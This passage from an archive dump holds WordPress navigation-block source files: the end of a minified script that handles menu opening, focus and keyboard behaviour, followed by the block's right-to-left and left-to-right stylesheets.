*:first-child").focus()}}}},selectors:{core:{navigation:{roleAttribute:e=>{const{context:n,selectors:o}=e;return"overlay"===n.core.navigation.type&&o.core.navigation.isMenuOpen(e)?"dialog":null},ariaModal:e=>{const{context:n,selectors:o}=e;return"overlay"===n.core.navigation.type&&o.core.navigation.isMenuOpen(e)?"true":null},ariaLabel:e=>{const{context:n,selectors:o}=e;return"overlay"===n.core.navigation.type&&o.core.navigation.isMenuOpen(e)?n.core.navigation.ariaLabel:null},isMenuOpen:({context:e})=>Object.values(e.core.navigation["overlay"===e.core.navigation.type?"overlayOpenedBy":"submenuOpenedBy"]).filter(Boolean).length>0,menuOpenedBy:({context:e})=>e.core.navigation["overlay"===e.core.navigation.type?"overlayOpenedBy":"submenuOpenedBy"]}}},actions:{core:{navigation:{openMenuOnHover(e){const{navigation:n}=e.context.core;"submenu"===n.type&&0===Object.values(n.overlayOpenedBy||{}).filter(Boolean).length&&i(e,"hover")},closeMenuOnHover(e){c(e,"hover")},openMenuOnClick(e){const{context:n,ref:o}=e;n.core.navigation.previousFocus=o,i(e,"click")},closeMenuOnClick(e){c(e,"click"),c(e,"focus")},openMenuOnFocus(e){i(e,"focus")},toggleMenuOnClick:e=>{const{selectors:n,context:o,ref:t}=e;window.document.activeElement!==t&&t.focus();const a=n.core.navigation.menuOpenedBy(e);a.click||a.focus?(c(e,"click"),c(e,"focus")):(o.core.navigation.previousFocus=t,i(e,"click"))},handleMenuKeydown:e=>{const{context:n,selectors:o,event:t}=e;if(o.core.navigation.menuOpenedBy(e).click){if("Escape"===t?.key)return c(e,"click"),void c(e,"focus");"overlay"===n.core.navigation.type&&"Tab"===t.key&&(t.shiftKey&&window.document.activeElement===n.core.navigation.firstFocusableElement?(t.preventDefault(),n.core.navigation.lastFocusableElement.focus()):t.shiftKey||window.document.activeElement!==n.core.navigation.lastFocusableElement||(t.preventDefault(),n.core.navigation.firstFocusableElement.focus()))}},handleMenuFocusout:e=>{const{context:n,event:o}=e;(null===o.relatedTarget||!n.core.navigation.modal?.contains(o.relatedTarget)&&o.target!==window.document.activeElement)&&(c(e,"click"),c(e,"focus"))}}}}})}},function(e){var n;n=932,e(e.s=n)}]);blocks/navigation/style-rtl.css000064400000042476151202620300012635 0ustar00.wp-block-navigation{ --navigation-layout-justification-setting:flex-start; --navigation-layout-direction:row; --navigation-layout-wrap:wrap; --navigation-layout-justify:flex-start; --navigation-layout-align:center; position:relative; } .wp-block-navigation ul{ margin-bottom:0; margin-right:0; margin-top:0; padding-right:0; } .wp-block-navigation ul,.wp-block-navigation ul li{ list-style:none; padding:0; } .wp-block-navigation .wp-block-navigation-item{ align-items:center; background-color:inherit; display:flex; position:relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{ display:none; } .wp-block-navigation .wp-block-navigation-item__content{ display:block; } .wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{ color:inherit; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{ text-decoration:underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{ text-decoration:line-through; } .wp-block-navigation:where(:not([class*=has-text-decoration])) a{ text-decoration:none; } .wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{ text-decoration:none; } .wp-block-navigation .wp-block-navigation__submenu-icon{ align-self:center; background-color:inherit; border:none; color:currentColor; display:inline-block; font-size:inherit; height:.6em; line-height:0; margin-right:.25em; padding:0; width:.6em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg{ stroke:currentColor; display:inline-block; height:inherit; margin-top:.075em; width:inherit; } .wp-block-navigation.is-vertical{ --navigation-layout-direction:column; --navigation-layout-justify:initial; --navigation-layout-align:flex-start; } .wp-block-navigation.no-wrap{ --navigation-layout-wrap:nowrap; } .wp-block-navigation.items-justified-center{ --navigation-layout-justification-setting:center; --navigation-layout-justify:center; } .wp-block-navigation.items-justified-center.is-vertical{ --navigation-layout-align:center; } .wp-block-navigation.items-justified-right{ --navigation-layout-justification-setting:flex-end; --navigation-layout-justify:flex-end; } .wp-block-navigation.items-justified-right.is-vertical{ --navigation-layout-align:flex-end; } .wp-block-navigation.items-justified-space-between{ --navigation-layout-justification-setting:space-between; --navigation-layout-justify:space-between; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container{ align-items:normal; background-color:inherit; color:inherit; display:flex; flex-direction:column; height:0; opacity:0; overflow:hidden; position:absolute; right:-1px; top:100%; transition:opacity .1s linear; visibility:hidden; width:0; z-index:2; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{ display:flex; flex-grow:1; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{ margin-left:0; margin-right:auto; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{ margin:0; } @media (min-width:782px){ .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ right:100%; top:-1px; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:transparent; content:""; display:block; height:100%; left:100%; position:absolute; width:.5em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{ margin-left:.25em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{ transform:rotate(90deg); } } .wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{ right:0; top:100%; } @media (min-width:782px){ .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ right:100%; top:0; } } .wp-block-navigation-submenu{ display:flex; position:relative; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{ stroke:currentColor; } button.wp-block-navigation-item__content{ background-color:transparent; border:none; color:currentColor; font-family:inherit; font-size:inherit; font-style:inherit; font-weight:inherit; line-height:inherit; text-align:right; text-transform:inherit; } .wp-block-navigation-submenu__toggle{ cursor:pointer; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{ padding-left:.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{ margin-right:-.6em; pointer-events:none; } .wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{ gap:inherit; } :where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){ padding:.5em 1em; } :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){ padding:.5em 1em; } .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{ left:0; right:auto; } .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:-1px; right:-1px; } @media (min-width:782px){ .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:100%; right:auto; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{ background-color:#fff; border:1px solid rgba(0,0,0,.15); } .wp-block-navigation.has-background .wp-block-navigation__submenu-container{ background-color:inherit; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{ color:#000; } .wp-block-navigation__container{ align-items:var(--navigation-layout-align, initial); display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); list-style:none; margin:0; padding-right:0; } .wp-block-navigation__container .is-responsive{ display:none; } .wp-block-navigation__container:only-child,.wp-block-page-list:only-child{ flex-grow:1; } @keyframes overlay-menu__fade-in-animation{ 0%{ opacity:0; transform:translateY(.5em); } to{ opacity:1; transform:translateY(0); } } .wp-block-navigation__responsive-container{ bottom:0; display:none; left:0; position:fixed; right:0; top:0; } .wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){ color:inherit; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{ align-items:var(--navigation-layout-align, initial); display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){ background-color:inherit !important; color:inherit !important; } .wp-block-navigation__responsive-container.is-menu-open{ animation:overlay-menu__fade-in-animation .1s ease-out; animation-fill-mode:forwards; background-color:inherit; display:flex; flex-direction:column; overflow:auto; padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem); z-index:100000; } @media (prefers-reduced-motion:reduce){ .wp-block-navigation__responsive-container.is-menu-open{ animation-delay:0s; animation-duration:1ms; } } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{ align-items:var(--navigation-layout-justification-setting, inherit); display:flex; flex-direction:column; flex-wrap:nowrap; overflow:visible; padding-top:calc(2rem + 24px); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{ justify-content:flex-start; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{ display:none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{ border:none; height:auto; min-width:200px; opacity:1; overflow:initial; padding-left:2rem; padding-right:2rem; position:static; visibility:visible; width:auto; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{ gap:inherit; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{ padding-top:var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{ padding:0; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{ align-items:var(--navigation-layout-justification-setting, initial); display:flex; flex-direction:column; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{ background:transparent !important; color:inherit !important; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{ left:auto; right:auto; } @media (min-width:600px){ .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){ background-color:inherit; display:block; position:relative; width:100%; z-index:auto; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{ display:none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{ right:0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{ background-color:#fff; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{ color:#000; } .wp-block-navigation__toggle_button_label{ font-size:1rem; font-weight:700; } .wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{ background:transparent; border:none; color:currentColor; cursor:pointer; margin:0; padding:0; text-transform:inherit; vertical-align:middle; } .wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{ fill:currentColor; display:block; height:24px; pointer-events:none; width:24px; } .wp-block-navigation__responsive-container-open{ display:flex; } .wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{ font-family:inherit; font-size:inherit; font-weight:inherit; } @media (min-width:600px){ .wp-block-navigation__responsive-container-open:not(.always-shown){ display:none; } } .wp-block-navigation__responsive-container-close{ left:0; position:absolute; top:0; z-index:2; } .wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{ font-family:inherit; font-size:inherit; font-weight:inherit; } .wp-block-navigation__responsive-close{ width:100%; } .has-modal-open .wp-block-navigation__responsive-close{ margin-left:auto; margin-right:auto; max-width:var(--wp--style--global--wide-size, 100%); } .wp-block-navigation__responsive-close:focus{ outline:none; } .is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{ box-sizing:border-box; } .wp-block-navigation__responsive-dialog{ position:relative; } .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{ margin-top:46px; } @media (min-width:782px){ .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{ margin-top:32px; } } html.has-modal-open{ overflow:hidden; }blocks/navigation/style.css000064400000042470151202620300012030 0ustar00.wp-block-navigation{ --navigation-layout-justification-setting:flex-start; --navigation-layout-direction:row; --navigation-layout-wrap:wrap; --navigation-layout-justify:flex-start; --navigation-layout-align:center; position:relative; } .wp-block-navigation ul{ margin-bottom:0; margin-left:0; margin-top:0; padding-left:0; } .wp-block-navigation ul,.wp-block-navigation ul li{ list-style:none; padding:0; } .wp-block-navigation .wp-block-navigation-item{ align-items:center; background-color:inherit; display:flex; position:relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{ display:none; } .wp-block-navigation .wp-block-navigation-item__content{ display:block; } .wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{ color:inherit; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{ text-decoration:underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{ text-decoration:line-through; } .wp-block-navigation:where(:not([class*=has-text-decoration])) a{ text-decoration:none; } .wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{ text-decoration:none; } .wp-block-navigation .wp-block-navigation__submenu-icon{ align-self:center; background-color:inherit; border:none; color:currentColor; display:inline-block; font-size:inherit; height:.6em; line-height:0; margin-left:.25em; padding:0; width:.6em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg{ stroke:currentColor; display:inline-block; height:inherit; margin-top:.075em; width:inherit; } .wp-block-navigation.is-vertical{ --navigation-layout-direction:column; --navigation-layout-justify:initial; --navigation-layout-align:flex-start; } .wp-block-navigation.no-wrap{ --navigation-layout-wrap:nowrap; } .wp-block-navigation.items-justified-center{ --navigation-layout-justification-setting:center; --navigation-layout-justify:center; } .wp-block-navigation.items-justified-center.is-vertical{ --navigation-layout-align:center; } .wp-block-navigation.items-justified-right{ --navigation-layout-justification-setting:flex-end; --navigation-layout-justify:flex-end; } .wp-block-navigation.items-justified-right.is-vertical{ --navigation-layout-align:flex-end; } .wp-block-navigation.items-justified-space-between{ --navigation-layout-justification-setting:space-between; --navigation-layout-justify:space-between; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container{ align-items:normal; background-color:inherit; color:inherit; display:flex; flex-direction:column; height:0; left:-1px; opacity:0; overflow:hidden; position:absolute; top:100%; transition:opacity .1s linear; visibility:hidden; width:0; z-index:2; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{ display:flex; flex-grow:1; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{ margin-left:auto; margin-right:0; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{ margin:0; } @media (min-width:782px){ .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:100%; top:-1px; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:transparent; content:""; display:block; height:100%; position:absolute; right:100%; width:.5em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{ margin-right:.25em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{ transform:rotate(-90deg); } } .wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; overflow:visible; visibility:visible; width:auto; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{ left:0; top:100%; } @media (min-width:782px){ .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:100%; top:0; } } .wp-block-navigation-submenu{ display:flex; position:relative; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{ stroke:currentColor; } button.wp-block-navigation-item__content{ background-color:transparent; border:none; color:currentColor; font-family:inherit; font-size:inherit; font-style:inherit; font-weight:inherit; line-height:inherit; text-align:left; text-transform:inherit; } .wp-block-navigation-submenu__toggle{ cursor:pointer; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{ padding-right:.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{ margin-left:-.6em; pointer-events:none; } .wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{ gap:inherit; } :where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){ padding:.5em 1em; } :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){ padding:.5em 1em; } .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{ left:auto; right:0; } .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:-1px; right:-1px; } @media (min-width:782px){ .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:auto; right:100%; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{ background-color:#fff; border:1px solid rgba(0,0,0,.15); } .wp-block-navigation.has-background .wp-block-navigation__submenu-container{ background-color:inherit; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{ color:#000; } .wp-block-navigation__container{ align-items:var(--navigation-layout-align, initial); display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); list-style:none; margin:0; padding-left:0; } .wp-block-navigation__container .is-responsive{ display:none; } .wp-block-navigation__container:only-child,.wp-block-page-list:only-child{ flex-grow:1; } @keyframes overlay-menu__fade-in-animation{ 0%{ opacity:0; transform:translateY(.5em); } to{ opacity:1; transform:translateY(0); } } .wp-block-navigation__responsive-container{ bottom:0; display:none; left:0; position:fixed; right:0; top:0; } .wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){ color:inherit; } .wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{ align-items:var(--navigation-layout-align, initial); display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); } .wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){ background-color:inherit !important; color:inherit !important; } .wp-block-navigation__responsive-container.is-menu-open{ animation:overlay-menu__fade-in-animation .1s ease-out; animation-fill-mode:forwards; background-color:inherit; display:flex; flex-direction:column; overflow:auto; padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em); z-index:100000; } @media (prefers-reduced-motion:reduce){ .wp-block-navigation__responsive-container.is-menu-open{ animation-delay:0s; animation-duration:1ms; } } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{ align-items:var(--navigation-layout-justification-setting, inherit); display:flex; flex-direction:column; flex-wrap:nowrap; overflow:visible; padding-top:calc(2rem + 24px); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{ justify-content:flex-start; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{ display:none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{ border:none; height:auto; min-width:200px; opacity:1; overflow:initial; padding-left:2rem; padding-right:2rem; position:static; visibility:visible; width:auto; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{ gap:inherit; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{ padding-top:var(--wp--style--block-gap, 2em); } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{ padding:0; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{ align-items:var(--navigation-layout-justification-setting, initial); display:flex; flex-direction:column; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{ background:transparent !important; color:inherit !important; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{ left:auto; right:auto; } @media (min-width:600px){ .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){ background-color:inherit; display:block; position:relative; width:100%; z-index:auto; } .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{ display:none; } .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{ left:0; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{ background-color:#fff; } .wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{ color:#000; } .wp-block-navigation__toggle_button_label{ font-size:1rem; font-weight:700; } .wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{ background:transparent; border:none; color:currentColor; cursor:pointer; margin:0; padding:0; text-transform:inherit; vertical-align:middle; } .wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{ fill:currentColor; display:block; height:24px; pointer-events:none; width:24px; } .wp-block-navigation__responsive-container-open{ display:flex; } .wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{ font-family:inherit; font-size:inherit; font-weight:inherit; } @media (min-width:600px){ .wp-block-navigation__responsive-container-open:not(.always-shown){ display:none; } } .wp-block-navigation__responsive-container-close{ position:absolute; right:0; top:0; z-index:2; } .wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{ font-family:inherit; font-size:inherit; font-weight:inherit; } .wp-block-navigation__responsive-close{ width:100%; } .has-modal-open .wp-block-navigation__responsive-close{ margin-left:auto; margin-right:auto; max-width:var(--wp--style--global--wide-size, 100%); } .wp-block-navigation__responsive-close:focus{ outline:none; } .is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{ box-sizing:border-box; } .wp-block-navigation__responsive-dialog{ position:relative; } .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{ margin-top:46px; } @media (min-width:782px){ .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{ margin-top:32px; } } 